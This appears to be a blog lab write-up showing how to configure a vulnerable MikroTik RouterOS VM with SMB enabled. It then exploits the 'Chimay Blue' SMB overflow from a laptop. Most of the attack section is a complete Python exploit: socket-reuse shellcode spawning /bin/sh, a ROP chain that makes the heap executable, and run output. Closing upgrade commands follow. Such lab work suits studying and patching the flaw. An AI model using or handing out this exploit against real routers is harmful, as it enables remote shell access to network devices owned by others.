Mikrotik and Chimay Blue

Goal

The Chimay Blue Experiment on MikroTik RouterOS before versions 6.41.3/6.42rc27.

Tools and Materials

  • VirtualBox
  • MikroTik ISO
  • MikroTik License
  • Ubuntu 18.04

Directions

  • Configure a vulnerable MikroTik.
  • Exploit the MikroTik through your Laptop.

Discussion

Change the MikroTik interface name.

interface set numbers=ether1 name=host-only

Set static IP address at the host-only interface.

ip address set interface=host-only address=192.168.56.2/24

Connect your laptop (host) to your MikroTik (guest) via SSH.

ssh admin@192.168.56.2

Paste your license into MikroTik terminal to activate more features.

Thus, reboot MikroTik.

reboot

Enable Samba service.

ip smb set enabled=yes

Add new user in Samba service.

ip smb users add read-ony=no name=mtuser password=mtpassword 

Shares backup folder.

ip smb shares add name=backup

Create Python file at /tmp/expl.py.

vi expl.py

Paste the code inside Python file.

#!/usr/bin/env python
 
import socket
import struct
import sys
import telnetlib
 
NETBIOS_SESSION_MESSAGE = "\x00"
NETBIOS_SESSION_REQUEST = "\x81"
NETBIOS_SESSION_FLAGS = "\x00"
 
# trick from http://shell-storm.org/shellcode/files/shellcode-881.php
# will place the socket file descriptor in eax
find_sock_fd = "\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48"
 
# dup stdin-stdout-stderr so we can reuse the existing connection
dup_fds = "\x89\xc3\xb1\x02\xb0\x3f\xcd\x80\x49\x79\xf9"
 
# execve - cannot pass the 2nd arg as NULL or busybox will complain
execve_bin_sh = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
 
# build shellcode
shellcode = find_sock_fd + dup_fds + execve_bin_sh
 
# rop to mprotect and make the heap executable
# the heap base is not being subject to ASLR for whatever reason, so let's take advantage of it
p = lambda x : struct.pack('I', x)
 
rop = ""
rop += p(0x0804c39d) # 0x0804c39d: pop ebx; pop ebp; ret; 
rop += p(0x08072000) # ebx -> heap base
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x080664f5) # 0x080664f5: pop ecx; adc al, 0xf7; ret; 
rop += p(0x14000)    # ecx -> size for mprotect
rop += p(0x08066f24) # 0x08066f24: pop edx; pop edi; pop ebp; ret; 
rop += p(0x00000007) # edx -> permissions for mprotect -> PROT_READ | PROT_WRITE | PROT_EXEC
rop += p(0xffffffff) # edi -> gibberish
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 
rop += p(0x0000007d) # ebp -> mprotect system call
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret; 
rop += p(0xffffe42e) # 0xffffe42e; int 0x80; pop ebp; pop edx; pop ecx; ret - from vdso - not affected by ASLR
rop += p(0xffffffff) # ebp -> gibberish
rop += p(0x0)        # edx -> zeroed out
rop += p(0x0)        # ecx -> zeroed out
rop += p(0x0804e30f) # 0x0804e30f: pop ebp; ret; 
rop += p(0x08075802) # ebp -> somewhere on the heap that will (always?) contain user controlled data
rop += p(0x0804f94a) # 0x0804f94a: xchg eax, ebp; ret;
rop += p(0x0804e153) # jmp eax; - jump to our shellcode on the heap
 
offset_to_regs = 83
 
# we do not really care about the initial register values other than overwriting the saved ret address
ebx = p(0x45454545)
esi = p(0x45454545)
edi = p(0x45454545)
ebp = p(0x45454545)
eip = p(0x0804886c) # 0x0804886c: ret;
 
payload = "\xff" * offset_to_regs + ebx + esi + edi + ebp + eip + rop
header = struct.pack("!ccH", NETBIOS_SESSION_REQUEST, NETBIOS_SESSION_FLAGS, len(payload))
buf = header + payload
 
def open_connection(ip):
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((ip, 139))
    return s
 
def store_payload(s):
    print "[+] storing payload on the heap"
    s.send((NETBIOS_SESSION_MESSAGE + "\x00\xeb\x02") * 4000 + "\x90" * 16 + shellcode)
 
def crash_smb(s):
    print "[+] getting code execution"
    s.send(buf)
 
if __name__ == "__main__":
    if len(sys.argv) != 2:
        print "%s ip" % sys.argv[0]
        sys.exit(1)
 
    s = open_connection(sys.argv[1])
    store_payload(s)
 
    # the server closes the first connection, so we need to open another one
    t = telnetlib.Telnet()
    t.sock = open_connection(sys.argv[1])
    crash_smb(t.sock)
    print "[+] got shell?"
    t.interact()

Run the python file.

python expl.py 192.168.56.2

The result.

[+] storing payload on the heap
[+] getting code execution
[+] got shell?
*** Connection closed by remote host ***

Conclusion

This exploit has not always worked on vulnerable MikroTik’s routers. Maybe there’s a difference between local heap address and server heap address need to set up properly.

Reference

Advertisements

How to Upgrade your Router OS via Command Line Interfaces.

Check for updates.

system package update check-for-updates

Download updates.

system package update download

Reboot the system to install updates.

system reboot

Next article will address the question of how to do automatic updates.